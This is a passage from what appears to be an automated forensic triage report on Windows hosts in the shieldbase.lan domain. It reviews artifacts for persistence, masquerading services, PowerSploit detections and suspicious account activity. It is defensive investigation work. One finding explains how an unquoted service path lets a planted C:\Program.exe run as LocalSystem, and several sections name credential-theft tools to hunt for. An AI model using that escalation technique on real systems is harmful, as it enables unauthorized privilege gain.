• Verify: Examine Windows Event IDs 4624/4634 for Administrator interactive logons around 2018-06-01; retrieve and parse IE history/cache (including recovery data); and check perimeter/proxy logs for outbound connections from the DC.

• [SEVERITY: LOW] [CONFIDENCE: LOW] User rsydow-a showed clustered Custom Jump List activity for PowerShell and PowerShell ISE on 2018-08-16, the most recent timestamps in the dataset.
• Evidence: row_ref 1, username rsydow-a, application_name Powershell Windows 10, lnk_full_path C:\Users\rsydow-a\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime/lnk_atime 2018-08-16T22:10:54.464914+00:00, target_mtime 2018-08-16T17:17:08.869354+00:00; row_ref 2, same user and CustomDestinations container (590aee7bdd69b59b.customDestinations-ms), lnk_full_path C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe.
• Why it matters: The same-day update of both the PowerShell shortcut target and the CustomDestinations container suggests active PowerShell usage on the DC by this account; PowerShell is a common dual-use tool for reconnaissance, credential access, and lateral movement.
• Alternative explanation: rsydow-a may be a legitimate administrator performing authorized scripting or DC management tasks.
• Verify: Validate rsydow-a account privileges and typical role; correlate with Windows Security Event ID 4688, PowerShell operational/Script Block logs, and SRUM/Prefetch entries for powershell.exe and powershell_ise.exe on 2018-08-16.

Data Gaps

• Sparse dataset: only 3 unique Jump List records after deduplication (3 timestamp-only duplicates removed), leaving very limited visibility into user/application activity across the full time range.
• Missing AutomaticDestinations counterpart: without the AutomaticDestinations-ms DestList MRU/MFU metadata, we cannot establish recency, frequency, or execution order of these applications.
• Empty argument fields for PowerShell entries: lnk_arguments is blank for both PowerShell records, so we cannot determine whether encoded commands, scripts, or malicious parameters were used.
• No network path indicators: lnk_net_name, lnk_device_name, and lnk_workdir are empty for all records, preventing identification of UNC paths, administrative shares, or mapped drives that would indicate lateral movement or remote staging.
• Unknown incident window: without a defined compromise timeframe, the 2018-08-16 and 2018-06-01 timestamps cannot be confidently correlated with attacker activity versus benign administration.
• Absence of expected artifacts: no Custom Jump List entries for common remote-access tools, LOLBins (e.g., certutil, mshta, wscript), or Temp/AppData paths were observed; however, this may reflect artifact limits rather than a true negative.
• Deduplication removed temporal variants: the deduplication process discarded records with differing timestamps/IDs for row_refs 2 and 4, potentially obscuring additional access instances or time clusters that would aid timeline analysis.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Administrator account browsed Group Policy Machine\Scripts\Startup folders in SYSVOL under a non-default GPO, indicating potential domain-wide persistence via GPO startup scripts.
• Evidence: Row 38 (Network\<USERS_PROPERTY_VIEW {999534523}>\shieldbase.lan\sysvol\shieldbase.lan\Policies\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, ts_mtime 2018-05-14T03:06:28+00:00, username Administrator); Row 106 (My Computer\C:\Windows\SYSVOL\sysvol\shieldbase.lan\Policies\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, ts_mtime 2018-05-14T03:08:56+00:00, username Administrator). Also Row 34 (Network\...\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup, ts_mtime 2018-04-26T01:48:26+00:00, username Administrator).
• Why it matters: Attackers frequently abuse GPO startup/logon scripts for persistent, domain-wide code execution, and direct browsing of these paths often precedes script placement or modification.
• Alternative explanation: Legitimate Group Policy administration or authorized script deployment.
• Verify: Inspect the \\shieldbase.lan\SYSVOL\...\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup directory for unauthorized scripts and review Group Policy change history / AD replication metadata.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] User rsydow-a browsed hidden administrative shares on remote hosts (base-file and base-wkstn-05), including the remote Windows\Prefetch directory, consistent with lateral movement and reconnaissance.
• Evidence: Row 21 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-wkstn-05\c$, username rsydow-a); Row 22 (...base-wkstn-05\c$\Windows, ts_mtime 2018-08-07T18:16:00+00:00); Row 23 (...base-wkstn-05\c$\Windows\Prefetch, ts_mtime 2018-08-08T13:48:14+00:00). Row 3 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\srl-admin$, username rsydow-a); Row 4 (...base-file\srl-admin$\Proxy, ts_mtime 2018-07-05T22:24:54+00:00).
• Why it matters: Direct Explorer access to remote C$ and hidden $ shares, followed by drilling into remote Prefetch, is a hallmark of attacker lateral movement and host reconnaissance.
• Alternative explanation: Authorized system administration or remote desktop support activity.
• Verify: Pull Security Event Logs (4624/4648/4672) and SMB logs from base-file and base-wkstn-05 for rsydow-a logons around 2018-07-05 and 2018-08-07/08; inspect the remote Prefetch and Proxy directories for attacker tooling.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User rsydow-a browsed the local SAM/SECURITY hive directory (C:\Windows\System32\config) on the Domain Controller.
• Evidence: Row 50 (My Computer\C:\Windows\System32\config, ts_mtime 2018-06-04T20:43:58+00:00, username rsydow-a).
• Why it matters: System32\config contains the SAM, SECURITY, and SYSTEM hives; Explorer access to this sensitive path may precede credential dumping, shadow-copy abuse, or attempts to extract password hashes.
• Alternative explanation: Legitimate administrative work, backup verification, or security software inspection.
• Verify: Correlate with MFT/USN records for the config directory, check Volume Shadow Copy access, and look for corresponding Event IDs 4661/4663 or suspicious processes reading SAM/SECURITY.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] rsydow-a accessed an unusually named certificate directory (Asgard CA Cert) inside a hidden administrative share on base-file.
• Evidence: Row 5 (Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\srl-admin$\Proxy\Asgard CA Cert, ts_mtime 2018-07-05T22:24:54+00:00, username rsydow-a).
• Why it matters: Non-standard certificate directory names inside hidden admin shares can indicate staging of forged certificates, credential harvesting outputs, or attacker tools masquerading as legitimate PKI material.
• Alternative explanation: Custom internal certificate deployment or an administrative naming convention.
• Verify: List the contents of \\base-file\srl-admin$\Proxy and inspect file creation times, certificate legitimacy, and whether the directory exists in known-good baselines.

Data Gaps

• No ts_atime or ts_btime values are present; only folder ts_mtime is available, which reflects the folder’s modification time at the time of shellbag creation—not the exact moment of user access—limiting precise timeline correlation.
• Shellbags capture folder-level browsing only; individual files touched or executed within these directories are not recorded here.
• This artifact does not reveal whether any scripts were actually written to the GPO Startup folders, nor whether the remote share access involved file transfers, deletion, or execution.
• Absence of shellbag records for common staging locations (e.g., \Temp, \Users\Public, \ProgramData) does not rule out their use; shellbags are limited to Explorer-based folder views.
• Corroborating artifacts needed: Windows Security event logs (4624, 4648, 4672, 4663), SMB server audit logs from base-file and base-wkstn-05, Group Policy object version metadata, MFT/USN records for SYSVOL and the remote shares, and contents of the Startup and Proxy directories.

Nothing suspicious was detected in the SAM Users artifact; the only accounts present are the default built-in Administrator, Guest, and DefaultAccount records (rows 1–3), with no unauthorized local account creation, re-enabled accounts, or anomalous password changes evident.

Data Gaps

• Domain Controller scope limitation: This artifact only contains the three local SAM accounts (RID 500, 501, 503). On a Domain Controller, domain user and computer objects reside in NTDS.dit, not SAM. Therefore, compromise indicators such as unauthorized domain account creation, Domain Admin modifications, or domain credential access cannot be assessed from this artifact.
• Missing group membership data: The artifact does not include group membership fields, so privilege escalation via local group modification (e.g., adding accounts to the local Administrators group) cannot be verified here.
• Ambiguous and null temporal fields: All three records share the identical timestamp 2018-04-25T20:14:09.720470+00:00 (rows 1–3), which likely reflects a collection or hive-level timestamp rather than per-account creation or modification times. Additionally, lastlogin, lastpasswordset, and lastincorrectlogin are all 1601-01-01T00:00:00+00:00 (rows 1–3), preventing any determination of recent account activity or password changes.
• Missing event correlation: Corresponding Windows Security EVTX events (IDs 4720, 4722, 4724, 4732) are not included in this artifact, so account state changes cannot be validated against the event log.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Repeated Defender quarantine of a PowerSploit trojan in the spsql user profile on the Domain Controller within a two-minute window, indicating a likely reinfection or persistence cycle.
• Evidence: detection_name is Trojan:PowerShell/Powersploit.O and detection_path is C:\Users\spsql\n.ps1 in both Row 1 (ts 2018-08-31T22:20:20.654219+00:00) and Row 2 (ts 2018-08-31T22:18:58.898937+00:00). Both rows share the same resource_id (B75CD675E081064BB6713A34D76AB15557448BDE) and identical last_write_time (2018-08-31T22:17:31.236273+00:00), but have distinct quarantine_id, scan_id, and creation_time values (Row 1 creation_time 2018-08-31T22:19:47.907230+00:00; Row 2 creation_time 2018-08-31T22:18:14.805019+00:00).
• Why it matters: PowerSploit is a widely abused offensive PowerShell framework used for credential access, privilege escalation, and lateral movement; sequential detections of the same file after removal strongly suggest an active mechanism recreating the payload or manual attacker re-deployment on the most sensitive host in the environment.
• Alternative explanation: A legitimate red-team exercise or authorized security tool deployment triggered multiple scan passes on the same file without actual reinfection.
• Verify: Review Microsoft-Windows-Windows Defender/Operational EVTX for quarantine action outcomes (success vs. restore) between 2018-08-31T22:17:00Z and 2018-08-31T22:21:00Z, and correlate with PowerShell script-block logging and Sysmon ProcessCreate to determine if n.ps1 executed and identify the parent process.

Data Gaps

• Execution status unknown: This artifact does not indicate whether n.ps1 successfully ran before being quarantined; PowerShell operational logs, Sysmon, or Prefetch are required.
• No launch context: Parent process, command line, and user session context for the script are absent; Sysmon Event ID 1 or Windows Security EVTX logon events are needed.
• Remediation outcome unclear: Whether Defender permanently removed the file or it was restored from quarantine between detections cannot be determined without Defender Operational EVTX.
• Account legitimacy unverified: The privilege level and expected activity of the spsql account are not assessable from quarantine metadata alone; SAM/registry and authentication logs are required.
• Narrow temporal window: Only a ~1.5-minute period is covered. Absence of additional quarantine records does not rule out earlier or later malware deployments, nor does it exclude threats that evaded Defender entirely.

Nothing suspicious was detected in this artifact.

Data Gaps

• Assessability of compromise indicators: Network profile history alone cannot reveal credential access, malicious execution, lateral movement, or exfiltration. Correlation with Event ID 4624/4648 logon events, SRUM, DHCP/DNS/VPN/firewall logs, and proxy records is required to determine if these network connections were attacker-driven.
• Anomalous timestamp in row 3: The last_connected value (2018-04-20T10:55:43-04:00) predates the created value (2018-04-20T12:52:16-04:00) for the “Network” profile (row_ref 3). This may indicate a forensic parsing error, registry inconsistency, or timestamp tampering; its significance cannot be determined from this artifact alone.
• Deduplication opacity: Three rows were removed as timestamp/ID-only duplicates. The content of those removed records is unavailable, so it is impossible to assess whether additional network profiles (e.g., short-lived or rogue connections) were excluded.
• No user or process attribution: These profiles do not identify which user or process initiated the connection, nor do they prove active traffic was generated during the recorded intervals.
• Temporal scope: No incident timeframe is established in the investigation context, so proximity of the April–September 2018 network activity to a suspected compromise cannot be evaluated.
• Absence of expected diversity: A production Domain Controller exhibits only three network profiles over five months, with two profiles (shieldbase.lan and Network 2) sharing the same default_gateway_mac (a2c6c7000702) but different signatures. While consistent with a network reassignment or promotion event, the lack of additional contextual artifacts prevents confirmation of benign origin.

Nothing suspicious was detected in the Run/RunOnce keys data.

Data Gaps

• Only 2 unique HKLM entries are present for a production Windows file server, which is unusually sparse; typical systems contain more startup items including HKCU entries, administrative tools, and additional software updaters. This limits confidence in ruling out persistence via this vector.
• No user-specific (HKCU) Run or RunOnce entries were captured, despite this being a domain-joined host where users log on; this prevents assessment of user-level persistence commonly used during lateral movement.
• Absent registry scopes include HKLM\...\RunOnce, HKCU\...\Run, HKCU\...\RunOnce, RunOnceEx, and Wow6432Node user hives, leaving significant coverage gaps for autorun-based malware.
• The username field is empty for both records, so attribution of any entry to a specific user account is impossible.
• Deduplication removed 2 additional rows, leaving only two temporal snapshots across a ~4-month window (2018-01-12 to 2018-05-08); short-lived malicious autorun entries added and removed between these points would not be visible.
• This artifact provides no visibility into credential access (e.g., Mimikatz-like behavior), active process execution, lateral movement, or defense evasion; correlation with Windows Security Event Logs, Sysmon, Prefetch, AmCache, Scheduled Tasks, Services, and WMI Event Subscriptions is required to evaluate those DFIR domains.
• No direct evidence of registry tampering or log clearing is present in the data; however, the extreme sparsity of entries may reflect collection or extraction limitations rather than a comprehensive system state.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Custom Volume Shadow Copy task authored by domain user shieldbase\rsydow-a executes vssadmin.exe Create Shadow as SYSTEM with highest privileges.
• Evidence: row_ref 1 (task_path C:\windows\system32\tasks\ShadowCopyVolume{a86deba3-48ca-11e8-80c7-806e6f6e6963}, author shieldbase\rsydow-a, user_id System, run_level HighestAvailable, logon_type InteractiveTokenOrPassword); row_ref 2 (command C:\windows\system32\vssadmin.exe, arguments Create Shadow /AutoRetry=15 /For=\\?\Volume{a86deba3-48ca-11e8-80c7-806e6f6e6963}\); row_ref 232 (task_path C:\windows\tasks\ShadowCopyVolume{a86deba3-48ca-11e8-80c7-806e6f6e6963}.job, author shieldbase\rsydow-a, last_run_date 2018-09-07T12:00:00.293000-04:00).
• Why it matters: Attackers frequently abuse VSS to snapshot volumes prior to encryption or data theft; a user-authored task running as SYSTEM is atypical and warrants validation against authorized backup policies.
• Alternative explanation: Administrator-enabled System Protection/Shadow Copies via system properties, which creates a task in the root Tasks folder under the configuring user’s identity.
• Verify: Confirm with rsydow-a or backup administrators whether this task is authorized; inspect Task Scheduler operational event logs for recent modifications to the task XML or .job file and review VSS service execution history.

• [SEVERITY: LOW] [CONFIDENCE: LOW] RSS feed synchronization task carries author identity from foreign hostname MININT-3D65O2B.
• Evidence: row_ref 5 (task_path C:\windows\system32\tasks\User_Feed_Synchronization-{66731969-1528-42A5-863B-29E93DCF6E36}, author MININT-3D65O2B\Administrator, user_id MININT-3D65O2B\Administrator, enabled True, hidden True).
• Why it matters: A task referencing a non-local hostname may indicate the task was imported from another system or the host was cloned from a template without proper sysprep cleanup, which could obscure attribution.
• Alternative explanation: Host BASE-FILE was originally deployed via MDT/WDS under the temporary name MININT-3D65O2B and later renamed, leaving stale task metadata from the build account.
• Verify: Inspect Windows setup/panther logs for the original computer name; determine if the task was inherited from a cloned image.

Data Gaps

• Incident timeline correlation: Nearly all populated date fields predate 2013, and most tasks lack creation timestamps entirely; without a known incident window, recency of task-based persistence cannot be assessed. The only last_run_date present is from 2018.
• Task execution history: This artifact contains task definitions only; run history and recent execution status are absent, so enabled or hidden tasks cannot be confirmed as active or dormant.
• Structural fragmentation: The CSV splits task metadata and actions across multiple rows with empty task_name, run_as, and action fields, limiting direct correlation of principals to commands.
• Binary integrity: Cannot verify whether invoked system binaries (e.g., vssadmin.exe, sc.exe) are authentic or hollowed from scheduled task definitions alone.
• Coverage limits: No PowerShell, encoded commands, or non-standard executable paths were observed in scheduled tasks; however, absence here does not rule out WMI event subscriptions, registry-based persistence, or service-based execution.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Two persistent auto-start services masquerading as Microsoft system components run as LocalSystem from non-standard paths under C:\Program Files (x86).
• Evidence: row_ref 146, ts 2018-05-08T21:06:37.546101Z, name Microsoft Advanced API 32, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, description Enables extended system host api calls, objectname LocalSystem, start Auto Start (2); row_ref 147, ts 2018-05-08T21:06:24.311426Z, name Microsoft Advanced API 64, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, description Enables extended system host api calls, objectname LocalSystem, start Auto Start (2).
• Why it matters: These are not legitimate Windows services; the names and descriptions mimic Microsoft components while the binaries reside in user-writable directories, indicating malicious persistence with highest privileges.
• Alternative explanation: No known legitimate Microsoft software uses these service names or paths.
• Verify: Collect hashes of both executables and review EVTX Event ID 7045 around 2018-05-08 to identify the installing user/session.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] The suspicious Microsoft Advanced API services are configured with unquoted image paths containing spaces, creating a privilege-escalation vector.
• Evidence: row_ref 146, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe; row_ref 147, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe. Neither path is wrapped in double quotes.
• Why it matters: Windows attempts to execute binaries at each space-delimited path boundary before the full path, allowing a low-privilege user to plant a malicious executable (e.g., C:\Program.exe) that will be launched as LocalSystem.
• Alternative explanation: Could be installer misconfiguration, but given the otherwise suspicious nature of the services, this is likely an attacker oversight or a secondary escalation path.
• Verify: Inspect C:\, C:\Program Files (x86)\, and intermediate directories for unexpected executables (Program.exe, Microsoft.exe, Advanced.exe, etc.).

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] An anomalous kernel driver named mnemosyne is present in the Windows root directory.
• Evidence: row_ref 150, ts 2018-09-06T19:25:37.230253Z, name mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, type Kernel Device Driver (0x1), start Manual (3).
• Why it matters: A non-standard kernel driver in the Windows root may indicate rootkit activity, defense evasion, or deep system tampering.
• Alternative explanation: This may be a temporary forensic acquisition driver deployed alongside the F-Response agent (row 77, installed 0.375 seconds earlier); it must be ruled out before treating as compromise.
• Verify: Confirm with the hunt team whether Mnemosyne.sys is part of the F-Response or other forensic deployment; check the driver’s signature, hash, and file creation metadata.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] An F-Response forensic subject service is installed, indicating live-response acquisition on this host.
• Evidence: row_ref 77, ts 2018-09-06T19:25:36.855253Z, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", objectname LocalSystem, start Auto Start (2).
• Why it matters: Confirms forensic interaction with the host and provides critical context for co-temporal artifacts (e.g., the mnemosyne driver installed less than one second later).
• Alternative explanation: This is almost certainly the legitimate forensic acquisition agent deployed by the investigation team.
• Verify: Confirm with incident leadership that F-Response was authorized and deployed on BASE-FILE at this time.

Data Gaps

• No service installation logs (EVTX Event ID 7045): Without Security or System event logs, the exact installation time, installing user/session, and parent process for the suspicious services cannot be determined.
• No file system or hash data: This artifact does not include hashes, digital signatures, or creation times for msadvapi2_32.exe, msadvapi2_64.exe, Mnemosyne.sys, or subject_srv.exe, so maliciousness cannot be conclusively confirmed from services data alone.
• Running state unknown: The registry-based services artifact shows startup configuration but does not indicate whether any service is currently executing or when it was last started.
• Mnemosyne intent ambiguous: The dataset cannot distinguish between a forensic memory/driver acquisition tool and attacker rootkit for the mnemosyne driver without additional driver catalog or tool-of-suite correlation.
• No credential-access tooling observed in service paths: While no Mimikatz-like service names or paths were found, services could load such tooling at runtime; process memory or command-line telemetry is required to rule this out.
• Temporal coverage ends 2018-09-06: Service removals or modifications after this timestamp are not visible in this artifact.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masqueraded binaries and an "install_wormhole" staging directory observed in Shimcache, consistent with attacker tooling.
• Evidence: row 141 (SYSVOL\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe, last_modified 2018-05-08T21:06:25.983345), row 144 (SYSVOL\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe, last_modified 2018-05-08T21:06:11.326715), row 60 (SYSVOL\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, last_modified 2018-03-02T20:42:22), row 61 (SYSVOL\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, last_modified 2018-03-02T20:43:58).
• Why it matters: The "install_wormhole" directory name and the non-standard "Microsoft Advanced API" install paths indicate binaries deliberately masquerading as legitimate Microsoft components; the Feb–May 2018 progression from tooling installation to staging is highly suspicious.
• Alternative explanation: Unusually named internal IT package or red-team tooling.
• Verify: Hash the binaries, inspect Amcache/Prefetch/EVTX for execution evidence, and determine if these paths are authorized software.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Network reconnaissance tooling (WinPcap/Nmap) placed in the same suspicious masqueraded directories.
• Evidence: row 137 (SYSVOL\Program Files (x86)\Microsoft Advanced API 32\winpcap-nmap-4.13.exe, last_modified 2018-02-26T22:47:32), row 142 (SYSVOL\Program Files (x86)\Microsoft Advanced API 64\winpcap-nmap-4.13.exe, last_modified 2018-02-26T22:47:32).
• Why it matters: Attackers frequently stage network scanners during internal reconnaissance; placement inside a fake Microsoft directory alongside suspicious binaries raises the likelihood of malicious intent.
• Alternative explanation: Administrator-installed network diagnostics tool placed in an unconventional path.
• Verify: Correlate with account logon events around 2018-02-26 22:47 UTC and inspect executed command lines via EDR/EVTX.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] McAfee-related binaries present in randomized GUID temporary directories under an administrative user profile.
• Evidence: row 131 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\aaa30c79-16b2-4dac-8603-c4d91bc3e8fb\mfemactl.exe, last_modified 2018-05-08T21:54:37.868847), row 126 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\mfe691D.tmp\cleanup.exe, last_modified 2018-05-08T17:15:24), row 132 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\mfe691D.tmp\FrmInst.exe, last_modified 2018-05-08T17:15:24).
• Why it matters: While filenames suggest McAfee software, randomized GUID subdirectories under an admin profile temp path are also consistent with staged execution or binary proxying.
• Alternative explanation: Standard McAfee ePO agent push/installation behavior.
• Verify: Validate file signatures against McAfee authenticode certificates and check ePO deployment logs for 2018-05-08.

Data Gaps

• Execution not confirmed. Shimcache records presence on disk only; these entries do not independently prove the files were executed. Prefetch, Amcache, and Sysmon/Process Creation EVTX are needed to confirm execution.
• Major timeline gap. The latest file last-modified time within any entry is 2018-05-30 (row 12), yet the artifact collection timestamp is 2026-06-13. No Shimcache entries reflect any file activity across an ~8-year window, which may indicate system inactivity, artifact reset/clearing, or evidence loss.
• Absent attacker tool indicators. No entries for Mimikatz, PsExec, Procdump, or other common credential-access/lateral-movement tools were observed in this artifact; absence does not rule out their use.
• Deduplication loss. 831 rows were removed as timestamp/ID-only duplicates, potentially obscuring repeated activity or subtle timestamp variations.
• CacheMainSDb entries lack timestamps. Rows 233–277 provide no temporal context, limiting correlation.
• No user, command-line, or network context. Shimcache does not capture parent process, command-line arguments, logon sessions, or network connections required to scope lateral movement or attribution.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading attacker toolkit installed under fake publisher “Microsoft Advanced API,” staged from C:\ProgramData\staging\install_wormhole\, and bundled with Nmap and AMQP messaging libraries.
• Evidence:
• Row 365: path C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe, sha1=0598c6093450998b122ec6d49b3b5f508cd381b7 (timestamp absent).
• Row 376: same path, sha1=6f2cf6945aa802c2d94b0cb0842630ccf65fb638 (timestamp absent).
• Row 604: path C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe, sha1=39414f02d460264bd6689f6fe28a638a739e0968 (timestamp absent).
• Row 369: path c:\program files (x86)\microsoft advanced api 64\msadvapi2_64.exe, sha1=9049111357c59c9a87b62681267e8f739491575f (timestamp absent).
• Row 384: path c:\program files (x86)\microsoft advanced api 32\msadvapi2_32.exe, sha1=f18a9425d17da9067304409ec0a8b73e35279c85 (timestamp absent).
• Row 364: path c:\program files (x86)\microsoft advanced api 64\winpcap-nmap-4.13.exe, sha1=955d9a7666075af6fdf86ce827a4f27a0784a9d3 (timestamp absent).
• Row 363: path c:\program files (x86)\microsoft advanced api 64\SimpleAmqpClient.2.dll, sha1=63704dd599b53eb56d9636dd7370cd8162bf825d (timestamp absent).
• Row 805: product name msadvapi_32, publisher Microsoft Advanced API, version 2.0, install_date 1601-01-01T00:02:33.630211+00:00 (epoch/default).
• Row 1218: product name msadvapi_64, publisher Microsoft Advanced API, version 2.0, install_date 1601-01-01T00:02:33.630211+00:00 (epoch/default).
• Why it matters: The non-existent Microsoft publisher, “install_wormhole” staging directory, inclusion of Nmap/WinPcap, and AMQP client libraries are consistent with adversary tooling for reconnaissance, command-and-control, and defense evasion.
• Alternative explanation: A poorly named internal administrative utility, which is highly unlikely given the fake publisher, non-standard paths, and bundling of network attack tools.
• Verify: Query the SHA-1 hashes against threat intelligence; inspect Shimcache/Prefetch and Windows Event Logs for execution confirmation; hunt for associated Services, Scheduled Tasks, or Run keys that persist these binaries.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Unsigned executable subject_srv.exe residing directly in C:\Windows\ with no publisher, product, or version metadata.
• Evidence:
• Row 341: path C:\Windows\subject_srv.exe, sha1=6935db820d990060446e836c2027fc2adfd9099e; publisher, product_name, company_name, and version fields are all empty (timestamp absent).
• Why it matters: Dropping executables into C:\Windows\ is a common persistence and privilege-escalation technique, and the complete absence of metadata is atypical for legitimate software.
• Alternative explanation: A third-party support tool or driver manually copied by an administrator.
• Verify: Check for a valid digital signature; hunt for Registry Run keys, WMI subscriptions, or services referencing this file; compare the hash against a known-good baseline.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Command-line archive utility 7za.exe located in non-standard C:\ProgramData\staging\ alongside suspicious installer packages.
• Evidence:
• Row 122: path C:\ProgramData\staging\7za.exe, sha1=d4206fc233e3a708b54439e1c2bc12b48a755ed1 (timestamp absent).
• Why it matters: A staging directory containing both a 7-zip utility and the “install_wormhole” packages may indicate attacker preparation for decompressing tools or compressing data for exfiltration.
• Alternative explanation: Legitimate administrative packaging or software deployment workflow.
• Verify: Audit the full contents of C:\ProgramData\staging\; review filesystem access logs and alternate data streams.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

• Missing execution timestamps: The suspicious binaries (msadvapi2_32.exe, msadvapi2_64.exe, subject_srv.exe, 7za.exe) contain blank or 1601-epoch install/modified timestamps in this Amcache extract, so the exact installation or first-execution date cannot be determined from this artifact alone.
• Execution unconfirmed: Amcache inventories installation but not necessarily execution. Shimcache, Prefetch, Windows Event Logs (Security/System/Microsoft-Windows-Sysmon/Operational), and service control manager events are required to confirm these binaries were actually launched.
• No credential-access artifacts observed: No Mimikatz, LSASS dumpers, SAM/SYSTEM hives, or known credential-theft tools were identified in this Amcache inventory.
• No explicit lateral-movement utilities: No PsExec, RDP clients, or remote admin tools were observed, though the presence of Nmap/WinPcap suggests network reconnaissance capability.
• Stale data relative to investigation date: This Amcache ends on 2018-09-07, roughly eight years before the current investigation date (2026-06-13). Subsequent compromises, rebuilds, or evidence clearing may have occurred in the intervening period.
• Deduplication losses: 31 rows were removed as duplicates during artifact processing, which may have suppressed variant timestamps useful for timeline construction.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unknown executable ri.exe executed from a non-standard subdirectory of C:\Windows\Temp by the spsql account.
• Evidence: row 42, 2018-09-05T14:08:10.924000+00:00, path {F38BF404-1D43-42F2-9305-67DE0B28FC23}\Temp\perfmon\ri.exe, username spsql.
• Why it matters: Attackers commonly drop randomly named tooling or malware into Temp directories; execution by an account that by naming convention appears to be a SQL service account is highly anomalous and warrants immediate scoping.
• Alternative explanation: A legitimate but undocumented diagnostic or installer utility placed by an administrator.
• Verify: Acquire the file hash of ri.exe from the disk image, check against threat intelligence, and review Prefetch / Sysmon / Security Event ID 4688 for command-line arguments and parent process.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Concentrated cluster of interactive administrative and remote-access activity by the spsql account over six days.
• Evidence: row 39 (2018-08-31T21:11:35.326000+00:00, Microsoft.Windows.RemoteDesktop), row 48 (same timestamp, Remote Desktop Connection.lnk), row 49 (2018-08-31T23:01:46.442999+00:00, Windows PowerShell.lnk), row 40 (same timestamp, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, 3 executions, ~33 minutes focus duration), row 50 (2018-09-05T18:27:07.928999+00:00, Command Prompt.lnk), row 43 (same timestamp, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, 3 executions, ~31 minutes focus duration), row 45 (2018-09-06T15:54:31.740000+00:00, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\mmc.exe).
• Why it matters: Service-like accounts rarely launch Explorer-driven shells and RDP clients; the timeline suggests interactive attacker control or compromised credentials being used to administer and move laterally through the environment.
• Alternative explanation: Database administrators used the SQL service account to perform authorized interactive maintenance on the file server.
• Verify: Correlate with Windows Security Log Event IDs 4624/4634 for spsql interactive (Type 2) and RDP (Type 10) logons between 2018-08-31 and 2018-09-06, and examine source IP addresses and concurrent sessions.

Data Gaps

• Limited execution visibility: UserAssist records only programs launched via the Explorer shell. It provides no visibility into command-line-only execution, WMI, scheduled tasks, services, or non-interactive malware, so attacker tooling run headlessly would not appear here.
• Null timestamps block timeline reconstruction: 33 records carry the null timestamp 1601-01-01T00:00:00+00:00 (e.g., rows 5, 6, 14), making it impossible to date those specific events or determine if they relate to the suspicious August–September cluster.
• No command-line or provenance data: The artifact does not record arguments, file hashes, digital signatures, or parent processes, so the intent of ri.exe and the exact nature of the PowerShell/cmd sessions cannot be determined from this source alone.
• No authentication or network context: UserAssist does not capture logon events, source IPs, or network connections, so we cannot confirm whether the spsql activity originated from a legitimate administrator or an external attacker.
• Credential-access tooling not observed: No explicit credential-harvesting utilities (e.g., Mimikatz, lsadump variants) were seen in this dataset, though such tools are typically executed from the command line and would fall outside UserAssist scope. Correlation with LSASS access events or protected-users telemetry is needed.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Bulk deletion of Puppet SSL private keys and certificates by the built-in local Administrator in rapid succession.
• Evidence: Between 2018-04-25T21:40:11.671000+00:00 and 2018-04-25T21:41:27.129999+00:00, 16 related objects were deleted by Administrator (Recycle Bin SID ending in -500), including: private_keys\base-file.pem (rows 6, 7, 8, 9), certs\base-file.pem (rows 17, 20), certs\ca.pem (rows 18, 21), public_keys\base-file.pem (rows 5, 11), and parent directories such as private_keys, certs, and certificate_requests (rows 4–21). File sizes for private key files are 3.22 KB each.
• Why it matters: Puppet private keys and CA certificates are sensitive credential material; their comprehensive deletion by a privileged account may indicate cleanup after theft or abuse of Puppet for lateral movement, or an attempt to disable Puppet-managed security controls on a file server.
